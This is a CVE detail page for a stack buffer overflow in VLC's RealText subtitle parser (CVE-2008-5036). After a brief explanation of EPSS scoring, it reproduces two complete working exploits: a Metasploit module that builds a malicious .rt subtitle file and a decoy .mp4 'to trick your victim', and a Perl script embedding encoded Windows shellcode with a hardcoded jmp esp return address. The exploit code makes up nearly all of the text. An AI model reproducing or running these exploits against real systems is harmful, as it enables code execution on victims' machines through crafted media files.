CVE-2008-5036 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'VLC Media Player RealText Subtitle Overflow', 'Description' => %q{ This module exploits a stack buffer overflow vulnerability in VideoLAN VLC < 0.9.6. The vulnerability exists in the parsing of RealText subtitle files. In order to exploit this, this module will generate two files: The .mp4 file is used to trick your victim into running. The .rt file is the actual malicious file that triggers the vulnerability, which should be placed under the same directory as the .mp4 file. }, 'License' => MSF_LICENSE, 'Author' => [ 'Tobias Klein', # Vulnerability Discovery 'SkD', # Exploit 'juan vazquez' # Metasploit Module ], 'Version' => '$Revision: $', 'References' => [ [ 'OSVDB', '49809' ], [ 'CVE', '2008-5036' ], [ 'BID', '32125' ], [ 'URL', 'http://www.trapkit.de/advisories/TKADV2008-011.txt' ], [ 'URL', 'http://www.videolan.org/security/sa0810.html' ] ], 'Payload' => { 'Space' => 1900, 'DisableNops' => true, 'BadChars' => "\x00\x22\x0a", 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'Platform' => 'win', 'Targets' => [ [ 'VLC 0.9.4 on Windows XP SP3 / Windows 7 SP1', { 'Ret' => 0x68f0cfad, # jmp esp # libqt4_plugin.dll 'WritableAddress' => 0x695d5890 # libqt4_plugin.dll .data } ], ], 'Privileged' => false, 'DisclosureDate' => 'Nov 05 2008', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.rt']), ], self.class) end def generate_mp4 mp4 = '' # ftyp mp4 << "\x00\x00\x00\x14" #Size mp4 << "ftyp" #Type mp4 << "isom" #Major brand mp4 << "\x00\x00" #version mp4 << "\x00\x00" mp4 << "mp41" #Compatible brands # moov mp4 << "\x00\x00\x00\x9f" #Size mp4 << "moov" #Type mp4 << "\x00\x00\x00\x6c\x6d\x76\x68\x64\x00\x00\x00\x00\xcb\x75\xf1\xc2\xcb\x75\xf1\xc2" mp4 << "\x00\x01\x5f\x90\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" mp4 << "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" mp4 << "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00" mp4 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" mp4 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x2b" mp4 << "udta" mp4 << "\x00\x00\x00\x23" mp4 << "\xa9\x65\x6e\x63\x00\x17\x00\x00" mp4 << "vlc 0.9.4 stream output" # wide mp4 << "\x00\x00\x00\x08" mp4 << "wide" # mdat mp4 << "\x00\x00\x00\x08" mp4 << "mdat" return mp4 end def generate_rt my_payload = "" my_payload << Rex::Text.rand_text(72, payload_badchars) my_payload << [target.ret].pack("V") # EIP => jmp esp my_payload << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+8").encode_string # ESP => jmp after "Writable address" my_payload << Rex::Text.rand_text(2, payload_badchars) my_payload << [target['WritableAddress']].pack("V") # Writable address my_payload << payload.encoded rt_file = <<-eos <window height="250" width="300" duration="15" bgcolor="yellow"> Mary had a little lamb, <br/><time begin="#{my_payload}"/> <br/><time begin="6"/>little lamb, <br/><time begin="9"/>Mary had a little lamb <br/><time begin="12"/>whose fleece was white as snow. </window> eos return rt_file end def exploit mp4 = generate_mp4 rt = generate_rt print_status("Creating '#{datastore['FILENAME']}'. Put this file under the same directory as the mp4 file") file_create(rt) original_fname = datastore['FILENAME'] datastore['FILENAME'] = original_fname.scan(/(\w+).\w+/).flatten[0] + ".mp4" print_status("Creating '#{datastore['FILENAME']}'. This is the file your victim should open.") file_create(mp4) datastore['FILENAME'] = original_fname end end

#!/usr/bin/perl # VLC Media Player < 0.9.6 .RT File Buffer Overflow (Stack Based) # --------------------------------------------------------------- # Exploit by SkD <skdrat@hotmail.com> # # This should work on a fully up-to-date Windows XP SP3. If you want it to work # on your OS version, just find a "jmp esp" address in one of the dlls loaded # with VLC :). # Have fun. Remember that VLC will open the file .rt automatically with a video # of the same name (example: s.mov with s.rt in the same folder). # Credits to Tobias Klein. # Author has no responsibility over the damage you do with this! use strict; use warnings; # win32_exec - EXITFUNC=process CMD=calc.exe Size=338 Encoder=Alpha2 http://metasploit.com my $shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x48\x49\x49\x49". "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x41". "\x58\x30\x41\x31\x50\x41\x42\x6b\x41\x41\x51\x41\x32\x41\x41\x32". "\x42\x41\x30\x42\x41\x58\x38\x41\x42\x50\x75\x69\x79\x4b\x4c\x4d". "\x38\x70\x44\x55\x50\x45\x50\x75\x50\x6e\x6b\x77\x35\x67\x4c\x6c". "\x4b\x43\x4c\x45\x55\x74\x38\x55\x51\x58\x6f\x4e\x6b\x52\x6f\x45". "\x48\x4e\x6b\x43\x6f\x65\x70\x76\x61\x58\x6b\x50\x49\x4e\x6b\x36". "\x54\x4e\x6b\x75\x51\x4a\x4e\x56\x51\x6b\x70\x4c\x59\x6c\x6c\x6e". "\x64\x59\x50\x70\x74\x63\x37\x69\x51\x78\x4a\x56\x6d\x45\x51\x5a". "\x62\x78\x6b\x6c\x34\x67\x4b\x51\x44\x36\x44\x74\x44\x30\x75\x4d". "\x35\x6c\x4b\x31\x4f\x31\x34\x65\x51\x5a\x4b\x52\x46\x4c\x4b\x74". "\x4c\x62\x6b\x6c\x4b\x61\x4f\x77\x6c\x35\x51\x7a\x4b\x6c\x4b\x57". "\x6c\x4c\x4b\x37\x71\x5a\x4b\x4c\x49\x73\x6c\x77\x54\x47\x74\x38". "\x43\x50\x31\x6b\x70\x32\x44\x4e\x6b\x61\x50\x66\x50\x4f\x75\x6b". "\x70\x51\x68\x44\x4c\x6c\x4b\x77\x30\x36\x6c\x6e\x6b\x70\x70\x77". "\x6c\x6c\x6d\x6c\x4b\x50\x68\x73\x38\x6a\x4b\x74\x49\x6c\x4b\x4b". "\x30\x4c\x70\x63\x30\x73\x30\x45\x50\x4e\x6b\x45\x38\x35\x6c\x53". "\x6f\x35\x61\x4c\x36\x75\x30\x71\x46\x6d\x59\x4a\x58\x4b\x33\x4f". "\x30\x31\x6b\x70\x50\x43\x58\x61\x6e\x6e\x38\x4b\x52\x32\x53\x31". "\x78\x4c\x58\x4b\x4e\x4c\x4a\x46\x6e\x50\x57\x6b\x4f\x5a\x47\x50". "\x63\x31\x71\x30\x6c\x35\x33\x44\x6e\x63\x55\x44\x38\x35\x35\x37". "\x70\x41"; my $char = "\x41"; my $nop = "\x90"; my $eip = "\xd7\x30\x9d\x7c"; # FOR WINDOWS XP SP3: 0x7c9d30d7 jmp esp (shell32.dll) my $jmp = "\xeb\x06\xFF\xFF"; my $addr = "\xb5\xb5\xfd\x7f"; open(my $rt, "> s.rt"); print $rt "\x3C\x77\x69\x6E\x64\x6F\x77\x20\x68\x65". "\x69\x67\x68\x74\x3D\x22\x32\x35\x30\x22". "\x20\x77\x69\x64\x74\x68\x3D\x22\x33\x30". "\x30\x22\x20\x64\x75\x72\x61\x74\x69\x6F". "\x6E\x3D\x22\x31\x35\x22\x20\x62\x67\x63". "\x6F\x6C\x6F\x72\x3D\x22\x79\x65\x6C\x6C". "\x6F\x77\x22\x3E\x0D\x0A\x4D\x61\x72\x79". "\x20\x68\x61\x64\x20\x61\x20\x6C\x69\x74". "\x74\x6C\x65\x20\x6C\x61\x6D\x62\x2C\x0D". "\x0A\x3C\x62\x72\x2F\x3E\x3C\x74\x69\x6D". "\x65\x20\x62\x65\x67\x69\x6E\x3D\x22". $char x 72 . $eip . $jmp . $addr . $nop x 12 . $shellcode . $char x 1024 . "\x22\x2F\x3E\x0D\x0A\x3C\x62\x72\x2F\x3E". "\x3C\x74\x69\x6D\x65\x20\x62\x65\x67\x69". "\x6E\x3D\x22\x36\x22\x2F\x3E\x6C\x69\x74". "\x74\x6C\x65\x20\x6C\x61\x6D\x62\x2C\x0D". "\x0A\x3C\x62\x72\x2F\x3E\x3C\x74\x69\x6D". "\x65\x20\x62\x65\x67\x69\x6E\x3D\x22\x39". "\x22\x2F\x3E\x4D\x61\x72\x79\x20\x68\x61". "\x64\x20\x61\x20\x6C\x69\x74\x74\x6C\x65". "\x20\x6C\x61\x6D\x62\x0D\x0A\x3C\x62\x72". "\x2F\x3E\x3C\x74\x69\x6D\x65\x20\x62\x65". "\x67\x69\x6E\x3D\x22\x31\x32\x22\x2F\x3E". "\x77\x68\x6F\x73\x65\x20\x66\x6C\x65\x65". "\x63\x65\x20\x77\x61\x73\x20\x77\x68\x69". "\x74\x65\x20\x61\x73\x20\x73\x6E\x6F\x77". "\x2E\x0D\x0A\x3C\x2F\x77\x69\x6E\x64\x6F". "\x77\x3E\x0D\x0A"; # milw0rm.com [2008-11-07]